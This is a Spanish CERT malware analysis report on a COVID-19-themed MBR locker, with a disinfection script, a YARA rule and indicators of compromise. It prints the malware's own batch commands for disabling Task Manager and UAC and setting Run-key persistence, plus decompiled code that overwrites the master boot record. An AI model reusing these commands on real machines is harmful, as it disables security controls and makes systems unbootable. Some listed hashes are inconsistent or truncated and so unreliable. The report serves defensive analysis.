Malware report
CCN-CERT ID-07/20

MBR locker

April 2020
LIMITACIÓN DE RESPONSABILIDAD
El presente documento se proporciona de acuerdo con los términos en él recogidos, rechazando expresamente cualquier tipo de garantía implícita que se pueda encontrar relacionada. En ningún caso, el Centro Criptológico Nacional puede ser considerado responsable del daño directo, indirecto, fortuito o extraordinario derivado de la utilización de la información y software que se indican incluso cuando se advierta de tal posibilidad.

AVISO LEGAL
Quedan rigurosamente prohibidas, sin la autorización escrita del Centro Criptológico Nacional, bajo las sanciones establecidas en las leyes, la reproducción parcial o total de este documento por cualquier medio o procedimiento, comprendidos la reprografía y el tratamiento informático, y la distribución de ejemplares del mismo mediante alquiler o préstamo públicos.
INDEX

1. ABOUT CCN-CERT, NATIONAL GOVERNMENTAL CERT .............................................. 4
2. EXECUTIVE SUMMARY .......................................................................................... 4
3. GENERAL DETAILS .......................................................................................... 5
4. INFECTION PROCESS ....................................................................................... 5
   4.1 COVID-19.EXE ................................................................................................. 5
   4.2 CORONAVIRUS.BAT ......................................................................................... 6
   4.3 WALLPAPER ..................................................................................................... 8
   4.4 MOUSE CURSOR ................................................................................................. 8
   4.5 UPDATE.VBS .................................................................................................... 9
   4.6 RUN.EXE ............................................................................................................ 9
   4.7 MAINWINDOW.EXE ....................................................................................... 10
   4.8 END.EXE ........................................................................................................... 11
   4.9 CUSTOM MBR ................................................................................................. 13
5. DISINFECTION ..................................................................................................... 14
6. DETECTION RULES ............................................................................................ 17
   6.1 YARA RULE ..................................................................................................... 17
7. INDICATORS OF COMPROMISE ......................................................................... 18
8. DISINFEC.BAT ....................................................................................................... 20
1. ABOUT CCN-CERT, NATIONAL GOVERNMENTAL CERT

The CCN-CERT is the Computer Emergency Response Team of the National Cryptologic Centre, CCN, within the National Intelligence Centre, CNI. This service was created in 2006 as a Spanish National Governmental CERT and its functions are included in Law 11/2002 regulating the CNI, RD 421/2004 regulating the CCN and RD 3/2010, dated 8th January, regulating the National Security Scheme (ENS), modified by RD 951/2015 of 23rd October.

Its mission therefore is to contribute to the improvement of Spanish cybersecurity, being the national alert and response centre that cooperates and helps to respond quickly and efficiently to cyberattacks and to actively confront cyber threats, including the coordination at the national public level of the different Incident Response Teams or existing Security Operations Centres.

Its ultimate aim is to make cyberspace more secure and reliable, preserving classified information (as stated in Article 4.F of Law 11/2002) and sensitive information, defending Spanish Technological Heritage, training expert personnel, applying security policies and procedures and using and developing the most appropriate technologies for this purpose.

In accordance with these regulations and Law 40/2015 on the Legal Regulation for the Public Sector, the CCN-CERT is responsible for the management of cyber incidents affecting any public body or company. In the case of critical operators in the public sector, the management of cyber incidents will be carried out by the CCN-CERT in coordination with the CNPIC.

2. EXECUTIVE SUMMARY

This document presents the analysis performed over the malware sample corresponding to a ransomware variant, aimed to infect the Master Boot Record (MBR).

The main goal of the binary is to overwrite the MBR of the system with a custom one it embeds. Usually, the malware aimed to infect the MBR does so with destructive intentions or to ask for a ransom in exchange of a decryption key to be able to boot the system. However, it is possible to recover the MBR of a system infected with the analyzed payload, as explained in subsequent sections of this report.

Despite malware targeting the MBR is not the most common trend nowadays, the outbreak from June 2017 caused by the Petya variant serves as a reminder to not forget that this kind of threats still exist. Taking advantage of the pandemic crisis caused by the Corona virus (COVID-19), malware developers have found a source of inspiration for their projects, whether they are MBR lockers or ransomware, or as an endless source of ideas for SPAM campaigns and lures to trick users driven by curiosity.
In the next sections of the document, technical details of every binary involved in the infection process are covered, as well as the disinfection procedure. A YARA rule and indicators of compromise are provided too.

3. GENERAL DETAILS

The analyzed payload, an executable for 32-bit Windows systems, is identified with the SHA256 signature shown below.

<table>
<thead>
<tr>
<th>File</th>
<th>SHA256</th>
</tr>
</thead>
<tbody>
<tr>
<td>COVID-19.exe</td>
<td>dfbcce38214fdeed0b8c80771cfdec499fc086735c8e7e25293e7292fc7993b4c</td>
</tr>
</tbody>
</table>

Searching for references to the aforementioned hash, it was first seen on March 22th 2020.

Written in PureBasic and without a packer hiding its content to security solutions, the main goal of the initial executable is to act as a dropper for the rest of the files it includes as resources.

4. INFECTION PROCESS

Due to the amount of binaries involved in the infection process, the criteria for the structure of this section is determined by the order of execution of each one of them.

4.1 COVID-19.EXE

The initial binary acts as a dropper for the rest of the files involved in the infection process and has the main task of triggering the execution of each one of them. Those files are located within the resources sections of the initial payload, as shown in the image below.

Figure 1. Resources from initial binary
The next table summarizes the content of each resource, mapping its description with the identifier highlighted in figure 1.

<table>
<thead>
<tr>
<th>Identifier</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>B</td>
<td>Batch file content to be executed by the initial binary</td>
</tr>
<tr>
<td>F</td>
<td>Additional files to continue with the infection process</td>
</tr>
<tr>
<td>I</td>
<td>Name and size of files included in resource F (values needed for their extraction)</td>
</tr>
<tr>
<td>N</td>
<td>Batch file name for resource B</td>
</tr>
</tbody>
</table>

From the resource identified as F, the files listed in resource I are extracted and listed in the table below.

<table>
<thead>
<tr>
<th>File name</th>
</tr>
</thead>
<tbody>
<tr>
<td>cursor.cur</td>
</tr>
<tr>
<td>run.exe</td>
</tr>
<tr>
<td>Update.vbs</td>
</tr>
<tr>
<td>wallpaper.jpg</td>
</tr>
<tr>
<td>end.exe</td>
</tr>
<tr>
<td>mainWindow.exe</td>
</tr>
</tbody>
</table>

Files from the table above are written to disk in the same directory where the initial binary has been executed. Once extracted, the last step for the dropper component is to execute in %temp% folder the **coronavirus.bat** batch file, whose behavior is covered in the next subsection.

The dropper component requires **administrator privileges** to run and is not involved again in the infection process after executing **coronavirus.bat**.

### 4.2 CORONAVIRUS.BAT

Executed in the %temp% folder by the initial binary, this batch file creates the installation directory, modifies the registry and achieves persistence for three binaries of those listed in previous section.
The location chosen for the installation directory, named COVID-19, is found in the root folder. The files extracted in the previous step of the infection process are now moved into this new location and hidden from the user after receiving the hidden attribute.

```plaintext
md %homedrive%\COVID-19
move Update.vbs %homedrive%\COVID-19
move wallpaper.jpg %homedrive%\COVID-19
move cursor.cur %homedrive%\COVID-19
move end.exe %homedrive%\COVID-19
move mainWindow.exe %homedrive%\COVID-19
move run.exe %homedrive%\COVID-19
cls
attrib +H %homedrive%\COVID-19
```

To prevent users from opening the task manager and to avoid notifications when a program is about to make changes in the computer, the registry values listed below are added.

```plaintext
reg.exe ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v disabletaskmgr /t REG_DWORD /d 1 /f
reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
```

After changing the wallpaper, attempting to change the mouse cursor and ensuring the persistence of three binaries, the batch file reboots the system triggering the execution of those binaries pointed by the registry key CurrentVersion\Run.

```plaintext
echo coronavirus sucessfully installed!
echo Your computer will restart in 5 seconds to finish the installation ;)
shutdown -r -t 5
```
After exiting execution, the **coronavirus.bat** file is not involved again in the infection process.

### 4.3 WALLPAPER

One of the files extracted from the initial binary, is the 320x200 JPG image to be set as the wallpaper.

![Wallpaper set by the malicious payload](image)

Aside from setting the new background image, the **coronavirus.bat** file adds to the registry key **ActiveDesktop** the needed value to prevent users from changing it.

```cmd
reg.exe ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v wallpaper /t REG_SZ /d %homedrive%\COVID-19\wallpaper.jpg /f
reg.exe ADD HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\ActiveDesktop /v NoChangingWallPaper /t REG_DWORD /d 1 /f
```

### 4.4 MOUSE CURSOR

Due to a bug in the **coronavirus.bat** file, the mouse cursor change will not be accomplished.

```cmd
reg.exe ADD HKCU\Control Panel\Cursors /v Arrow /t REG_SZ /d %homedrive%\COVID-19\cursor.cur /f
reg.exe ADD HKCU\Control Panel\Cursors /v AppStarting /t REG_SZ /d %homedrive%\COVID-19\cursor.cur /f
reg.exe ADD HKCU\Control Panel\Cursors /v Hand /t REG_SZ /d %homedrive%\COVID-19\cursor.cur /f
```

For the change to succeed, the registry key **HKCU\Control Panel\Cursors** should had been included in the batch file between quotes ("HKCU\Control Panel\Cursors"). For the later case, the mouse cursor would look like in the image below.
4.5 UPDATE.VBS

The first of the files achieving persistence is a Visual Basic Script.

```
reg.exe ADD HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v CheckForUpdates /t REG_SZ /d %homedrive%\COVID-19\Update.vbs /f
```

After the reboot triggered by `coronavirus.bat`, `Update.vbs` is executed by the system without any other goal than showing a fake error.

![Fake error message shown by Update.vbs](image)

The complete code from the VBS is listed below.

```
wscript.sleep 120000
x=msgbox("The update server could not be resolved. Check your Internet settings or contact your system administrator.",16,"COVID-19")
```

4.6 RUN.EXE

The second of the files achieving persistence is an UPX packed executable.

```
reg.exe ADD HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v explorer.exe /t REG_SZ /d %homedrive%\COVID-19\run.exe /f
```

Once unpacked for further analysis, another executable developed in PureBasic is found, similar to the initial one. The goal of `run.exe` is to extract from its resources another batch file, `run.bat`, and to execute it in `%temp%`. 
Figure 6. Run.bat file executed by run.exe

The content of run.bat duplicates code from coronavirus.bat and it will be executed every time the system is started. The only additional content it shows is an infinite loop, located at the end of the file.

```
:run
%homedrive%\COVID-19\mainWindow.exe
goto run
exit
```

The infinite loop aims to execute the binary mainWindow.exe.

4.7 MAINWINDOW.EXE

Written in VisualBasic, the unique goal of mainWindow.exe is to show the user an image under the title "coronavirus has infected your PC".

Figure 7. Image and message shown by mainWindow.exe
From the buttons in the corners, only the "Help" one can be pressed, showing the additional message from figure 7. The "Remove virus" button is not enabled and even if it were, it would not trigger any action.

![Decompiled code from mainWindow.exe](image)

The help message suggests to not waste time trying to close the window, as the infinite loop from run.bat would launch the application again. It also mentions the task manager being disabled, as pointed out when covering coronavirus.bat behavior.

### 4.8 END.EXE

The third and last of the binaries achieving persistence, end.exe, is written in Delphi.

```plaintext
reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v GoodbyePC! /t REG_SZ /d "\%homedrive%\COVID-19\end.exe" /f
```

It is executed after the restart triggered by coronavirus.bat and its main goal is to overwrite the Master Boot Record (MBR) with a custom one it embeds, modifying this way the boot procedure of the operating system.

```plaintext
V3 = CreateFileA("\\.\\PhysicalDrive0", 0x10000000u, 3u, 0, 3u, 0, 0);
ReadFile(V3, &mbr_backup, 0x200u, &NumberOfBytesToWrite, 0);
SetFilePointer(V3, 0x12, 0, 0);
WriteFile_0(V3, &mbr_backup, &NumberOfBytesToWrite, &NumberOfBytesWritten, 0);
CloseHandle(V3);

V4 = CreateFileA("\\.\\PhysicalDrive0", 0x10000000u, 3u, 0, 3u, 0, 0);
WriteFile_0(V4, &new_mbr_buffer, 0x200u, &NumberOfBytesWritten, 0);
CloseHandle(V4);

V5 = CreateFileA("\\.\\PhysicalDrive0", 0x10000000u, 3u, 0, 3u, 0, 0);
memcpy(&mbr_locker_note, created_by_angel, 0xC00u);
SetFilePointer(V5, 0x124, 0, 0);
WriteFile_0(V5, &mbr_locker_note, 0xC00u, &NumberOfBytesWritten, 0);
CloseHandle(V5);
```

![Original MBR overwritten by the custom one](image)
Before overwriting the first 512-byte sector with its custom MBR (highlighted in black), the original MBR is backed-up in the second sector (highlighted in red). Finally, highlighted in blue, the custom note to be printed in the next system reboot is stored in the third sector.

As a security measure to avoid reinfections, before overwriting the first 512-byte sector, the malicious code compares the content of it against the custom MBR. If both buffers are equal, the computer has been already infected and there is no need to perform further changes.
4.9 CUSTOM MBR

The custom MBR extracted from **end.exe** is analyzed in further detail in this section. Its entry point is shown in the image below.

![Image of new MBR entry point](image-url)

The highlighted tag could be an indicator of the tool used to generate the binary. Nevertheless, the interesting code from the custom MBR disassembly is found after the instructions aimed at printing the custom note stored in the third sector, responsible for showing the message from figure 10.

![Image of pressed keys combination check](image-url)

After printing the message, the custom MBR waits for an input from the user. The pressed keys are then checked in the instructions highlighted in red from the disassembly, successfully passing the check if the pressed combination of keys matches **CTRL + ALT + ESC**.

In case of pressing the correct combination, the original MBR back-up is restored to its original position, so the system boot procedure continues without issues. Hence, it can be see that this malware does not overwrite the MBR in a permanent way.
5. DISINFECTION

In order to proceed with a disinfection procedure, a batch file is proposed, breaking down its content in this section for further explanation. Joining all proposed snippets in a .bat file and executing it with **administrator privileges** would result in getting rid of all changes and files from the analyzed malware, except for one last step, covered in further detail at the end of the section. Each snippet explanation is listed below.

- Enabling the task manager.

  ```cmd
  REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v disabletaskmgr /t REG_DWORD /d 0 /f
  ```

- Enabling notifications when a program is about to make changes in the computer.

  ```cmd
  REG ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 1 /f
  ```

- Deleting the registry key pointing to the wallpaper set by the malware.

  ```cmd
  REG DELETE HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v wallpaper /f
  ```

- Enabling the tab options for changing the wallpaper.

  ```cmd
  REG ADD HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\ActiveDesktop /v NoChangingWallPaper /t REG_DWORD /d 0 /f
  ```

- In case the cursor was successfully modified, allowing to recover the default one.

  ```cmd
  REM REG ADD "HKCU\Control Panel\Cursors" /v Arrow /t REG_SZ /d %SystemRoot%\cursors\aero_arrow.cur /f
  REM REG ADD "HKCU\Control Panel\Cursors" /v AppStarting /t REG_SZ /d %SystemRoot%\cursors\aero_working.ani /f
  REM REG ADD "HKCU\Control Panel\Cursors" /v Hand /t REG_SZ /d %SystemRoot%\cursors\aero_link.cur /f
  ```

- Deleting the entries ensuring persistence for 32-bit systems.

  ```cmd
  REG DELETE HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v CheckForUpdates /f
  REG DELETE HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v explorer.exe /f
  REG DELETE HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v GoodbyePC! /f
  ```

- Deleting the entries ensuring persistence for 64-bit systems.

  ```cmd
  REG DELETE HKLM\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Run /v CheckForUpdates /f
  REG DELETE HKLM\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Run /v explorer.exe /f
  REG DELETE HKLM\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Run /v GoodbyePC! /f
  ```

- Terminating the run.exe process and its children processes.

  ```cmd
  TASKKILL /f /im run.exe /t
  ```
• Deleting the installation directory and its content.

```bash
RMDIR /S /Q %homedrive%\COVID-19
```

After applying the suggested changes, there will not remain any artifact from the infection, but if the computer has been restarted at least one time, the binary `end.exe` would have been executed, therefore modifying the MBR. To recover the original MBR two procedures are suggested.

The first of them is to restart the system so when the custom note appears, pressing for a few seconds the key combination `CTRL + ALT + ESC`, would return the MBR to its original state.

The second of the methods proposes to use a tool for manually modifying the MBR, as for example, `HDHacker`.

When choosing the second method, first it would be needed to ensure the MBR was indeed modified. For making sure of it, the first sector of the MBR needs to be read, setting up `HDHacker` as in the image below.

![Figure 14. First sector of the MBR check](image)

If the `WobbyChip` tag appears in the MBR, it has been modified so it needs to be restored. To recover the original MBR, in the "Select sector" section, it would be
needed to select “Specify a Sector”, being that sector number 2. After reading it pressing "Read sector from Disk”, the original MBR would appear in the display. Again in "Select sector", switching to "First Sector (MBR)”, the original MBR would be restored after pressing "Write sector on Disk", recovering the boot procedure of the operating system.
6. DETECTION RULES

6.1 YARA RULE

```yara
rule covid_19_mbr_locker
{
    meta:
        date = "2020-04-02"
        author = "CCN-CERT"

    strings:
        $coronavirus = "coronavirus.bat" ascii
        $title = "title coronavirus Installer" ascii
        $cursor = "cursor.cur" ascii
        $run = "run.exe" ascii
        $Update = "Update.vbs" ascii
        $wallpaper = "wallpaper.jpg" ascii
        $end = "end.exe" ascii
        $mainWindow = "mainWindow.exe" ascii

    condition: uint16(0) == 0x5A4D and (all of them)
}
```
7. INDICATORS OF COMPROMISE

<table>
<thead>
<tr>
<th>File</th>
<th>SHA256</th>
</tr>
</thead>
<tbody>
<tr>
<td>COVID-19.exe</td>
<td>dfbcce38214fdde0b8c80771cfdec499fc086735c8e7e25293e7292fc7993b4c</td>
</tr>
<tr>
<td>coronavirus.bat</td>
<td>4fd9b85ec0b49548c462acb9ec831a0728c0ef9e3de70e772755834e38aa3b3</td>
</tr>
<tr>
<td>end.exe</td>
<td>c3f11936fe43d6298160a876cc000f906cb34bb589f4e76e54d0a5589b2f6db9</td>
</tr>
<tr>
<td>mainWindow.exe</td>
<td>b780e24e14885c6ab836aae84747aa0d975017f5fc5b7f031d51c7469793eabe</td>
</tr>
<tr>
<td>run.exe</td>
<td>c46c3d2bea1e42b628d6988063d247918f3fbb695a1c376028a2a0cd53986</td>
</tr>
<tr>
<td>Update.vbs</td>
<td>a1a8d79508173cf16353e3a236d4a211bdcedef53791acce3c6ba600b51aee</td>
</tr>
<tr>
<td>run.bat</td>
<td>df1f977f66bede9871e331c762866bab82da361b59e44d07c6d977319522ba91</td>
</tr>
</tbody>
</table>

**Install directory**

- %homedrive%\COVID-19\Update.vbs
- %homedrive%\COVID-19\wallpaper.jpg
- %homedrive%\COVID-19\cursor.cur
- %homedrive%\COVID-19\end.exe
- %homedrive%\COVID-19\mainWindow.exe
- %homedrive%\COVID-19\run.exe

**Registry key**

<table>
<thead>
<tr>
<th>Registry key</th>
<th>Key value</th>
</tr>
</thead>
<tbody>
<tr>
<td>HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\wallpaper</td>
<td>%homedrive%\COVID-19\wallpaper.jpg</td>
</tr>
<tr>
<td>HKLM\Software\Microsoft\Windows\CurrentVersion\Run\CheckForUpdates</td>
<td>%homedrive%\COVID-19\Update.vbs</td>
</tr>
<tr>
<td>HKLM\Software\Microsoft\Windows\CurrentVersion\Run\explorer.exe</td>
<td>%homedrive%\COVID-19\run.exe</td>
</tr>
<tr>
<td>HKLM\Software\Microsoft\Windows\CurrentVersion\Run\GoodbyePC!</td>
<td>%homedrive%\COVID-19\end.exe</td>
</tr>
</tbody>
</table>
## Registry key

<table>
<thead>
<tr>
<th>Registry key</th>
<th>Key value</th>
</tr>
</thead>
<tbody>
<tr>
<td>HKLM\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\CheckForUpdates</td>
<td>%homedrive%\COVID-19\Update.vbs</td>
</tr>
<tr>
<td>HKLM\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\explorer.exe</td>
<td>%homedrive%\COVID-19\run.exe</td>
</tr>
<tr>
<td>HKLM\software\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\GoodbyePC!</td>
<td>%homedrive%\COVID-19\end.exe</td>
</tr>
</tbody>
</table>
8. DISINFEC.BAT

@echo off

REM Allow users to run Task Manager
REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v disabletaskmgr /t REG_DWORD /d 0 /f

REM Allow notifications when programs try to make changes to the computer
REG ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 1 /f

REM Deletes the reg key pointing to the wallpaper set by the malware
reg.exe DELETE HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v wallpaper /f

REM Enables options on the Background tab
REG ADD HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\ActiveDesktop /v NoChangingWallPaper /t REG_DWORD /d 0 /f

REM Just in case the mouse cursor was modified even with the missing quotes
REM REG ADD "HKCU\Control Panel\Cursors" /v Arrow /t REG_SZ /d %SystemRoot%\cursors\aero_arrow.cur /f
REM REG ADD "HKCU\Control Panel\Cursors" /v AppStarting /t REG_SZ /d %SystemRoot%\cursors\aero_working.ani /f
REM REG ADD "HKCU\Control Panel\Cursors" /v Hand /t REG_SZ /d %SystemRoot%\cursors\aero_link.cur /f

REM Delete entries ensuring persistence

REM First check system arch
REG QUERY "HKLM\Hardware\Description\System\CentralProcessor\0" | FIND /i "x86" > NUL && SET OS=32BIT || SET OS=64BIT

IF %OS%==32BIT (  
REG DELETE HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v CheckForUpdates /f  
REG DELETE HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v explorer.exe /f  
REG DELETE HKLM\software\Microsoft\Windows\CurrentVersion\Run /v GoodbyePC! /f)
) ELSE IF %OS%==64BIT (  
  REG DELETE HKLM\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Run /v CheckForUpdates /f  
  REG DELETE HKLM\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Run /v explorer.exe /f  
  REG DELETE HKLM\software\Wow6432Node\Microsoft\Windows\CurrentVersion\Run /v GoodbyePC! /f  
) ELSE (  
  ECHO "UNKNOWN ARCH - PERSISTENCE COULD NOT BE DELETED!"  
)

REM Kill run.exe process and its children  
TASKKILL /f /im run.exe /t

REM Remove the install dir and its content  
RMDIR /S /Q %homedrive%\COVID-19